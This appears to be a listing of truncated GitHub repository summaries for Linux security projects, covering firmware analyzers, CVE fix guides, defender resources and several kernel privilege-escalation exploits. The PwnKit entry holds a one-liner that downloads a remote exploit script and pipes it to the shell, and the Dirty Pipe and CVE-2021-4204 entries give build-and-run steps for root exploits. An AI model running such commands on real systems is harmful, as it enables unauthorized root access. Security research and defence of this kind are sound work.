emba

EMBA The security analyzer for firmware of embedded devices EMBA is designed as the central firmware analysis and SBOM tool for penetration testers, product security teams, developers and responsible product managers. It supports the complete security analysis process starting with firmware...

spectre-meltdown-checker

Spectre & Meltdown Checker A self-contained shell script to assess your system's resilience against the several transient execution CVEs that were published since early 2018, and give you guidance as to how to mitigate them. CVE list CVE| Name| Aliases ---|---|--- CVE-2017-5753| Bounds Check...

Limon

Limon - Sandbox for Analyzing Linux Malwares Limon is a sandbox developed as a research project written in python, which automatically collects, analyzes, and reports on the run time indicators of Linux malware. It allows one to inspect the Linux malware before execution, during execution, and...

CVE-2026-64561-Kernel-Fix

中文 | English 中文 升级 Linux Kernel 修复 CVE-2026-64561 教程 声明： 本文仅记录本人服务器环境下的修复过程，并非安全专业分析。如有不当之处，欢迎指正。 一、简介 本文档提供两种方式将 Linux Kernel 升级，用于修复 CVE-2026-64561 ：ELRepo RPM 安装（推荐）和源码编译。 项目| 说明 ---|--- CVE 编号| CVE-2026-64561 漏洞组件| Linux Kernel KVM/x86 修复方式| 升级 Linux Kernel（ELRepo RPM 或源码编译） 三、升级方法...

CVE-2021-4204

CVE-2021-4204 Chinese writeup: https://tr3e.ee/posts/cve-2021-4204-linux-kernel-ebpf-lpe.txt For educational/research purposes only. Use at your own risk. Build & Run $ sh buildandrun.sh Build from source... cc -I include -static -w -o exploit exploit.c Start exploit! This might take some while...

android_kernel_xiaomi_sunny

Linux kernel This file was moved to Documentation/admin-guide/README.rst Please notice that there are several guides for kernel developers and users. These guides can be rendered in a number of formats, like HTML and PDF. In order to build the documentation, use make htmldocs or make pdfdocs. The...

sctphantom

SCTPhantom — Linux kernel SCTP ASCONF use-after-free tracking site Source for the SCTPhantom patch-status tracker: a single-page site recording which distributions have shipped a fix for the SCTP ASCONF transport use-after-free in the Linux kernel. Where the facts live Everything about the bug —...

Some-Tools

Some-Tools Manage all your pentest tools in one place and keep them up to date with one command 😎 The goal of sometools is to be able to manage all your tools that are not include in Kali or that sudo apt install is not available. Sometools works better if tools are a repo but it can be tweak to...

CVE-2022-0847

CVE-2022-0847 Modified dirtypipe script into auto root without have to search a file manually to hijack suid binary. Compile gcc dirty.c -o dirty gcc dirtypipe2.c -o dirty Run ./dirty And you'll automatically rooted Modified Kernel affected Kernel versions newer than 5.8 may affected version 5.10...

TheDefendersGuide

The Defender's Guide - It's Dangerous to Defend Alone, Take This! What is the Defender's Guide? The Defender's Guide is a project by Luke Paine and Jonathan Johnson to put all of the best defense resources for a particular aspect of an operating system into a single place. Too often as defenders ...

CVE-2023-0386

README gcc -Wall exp.c pkg-config fuse --cflags --libs -o exp ./exp /tmp Vulnerability Analysis The theoretical knowledge in this article namespaces, overlay filesystem, fuse filesystem, etc. comes from ChatGPT. Vulnerability Overview Vulnerability ID: CVE-2023-0386 Vulnerable Product: Linux kern...

climber

Climber Automated auditing tool to check UNIX/Linux systems misconfigurations which may allow local privilege escalation. Dependencies python = 2.7 python-crypto python-mako python-paramiko Note Climber needs Exscript, a Python module and a template processor for automating network connections ov...

Converto

Converto V2 Automated Kali Linux or Parrot OS Installer for VPS Installing Kali linux or Parrot OS on VPS Server. Tested on Ubuntu. Tested on Debian. It also installs VNC Graphical / Non-Graphical VNC. Steps For Installing :- Video :- How to install IMAGE ALT TEXT HERE 1.sudo apt-get update 2.sud...

KERNELexploits

PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" Manually curl -fsSL...

threatbox

Threatbox - Standard Attack Platform ThreatBox is a standard and controlled Linux based attack platform. I've used a version of this for years. It started as a collection of scripts, lived as a rolling virtual machine, existed as code to build a Linux ISO, and has now been converted to a set of...

cve-2026-31431

CVE-2026-31431 — Copy Fail: Linux Kernel LPE Research Lab Educational purposes only. Do NOT use on systems without explicit authorization. Index Description of the vulnerability Affected components How it works Lab setup Docker PoC — Demonstration Mitigation References Vulnerability Description...

CVE-2026-98710

A flaw was found in the Linux kernel's iwlegacy wireless driver. The driver fails to release memory allocated for device configuration data when a wireless network device is removed from the system. A local user could exploit this vulnerability by repeatedly triggering device disconnection or...

Blue-Team-Notes

Blue Team Notes A collection of one-liners, small scripts, and some useful tips for blue team work. I've included screenshots where possible so you know what you're getting. Contact me If you see a mistake, or have an easier way to run a command then you're welcome to hit me up on Twitter or comm...

tinfoleak

tinfoleak The most complete open-source tool for Twitter intelligence analysis Introduction tinfoleak is an open-source tool within the OSINT Open Source Intelligence and SOCMINT Social Media Intelligence disciplines, that automates the extraction of information on Twitter and facilitates...

nasm_linux_x86_64_pure_sharedlib

NASM Linux x8664 pure no deps shared library .so Tested with "Reflective SO injection". A library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process...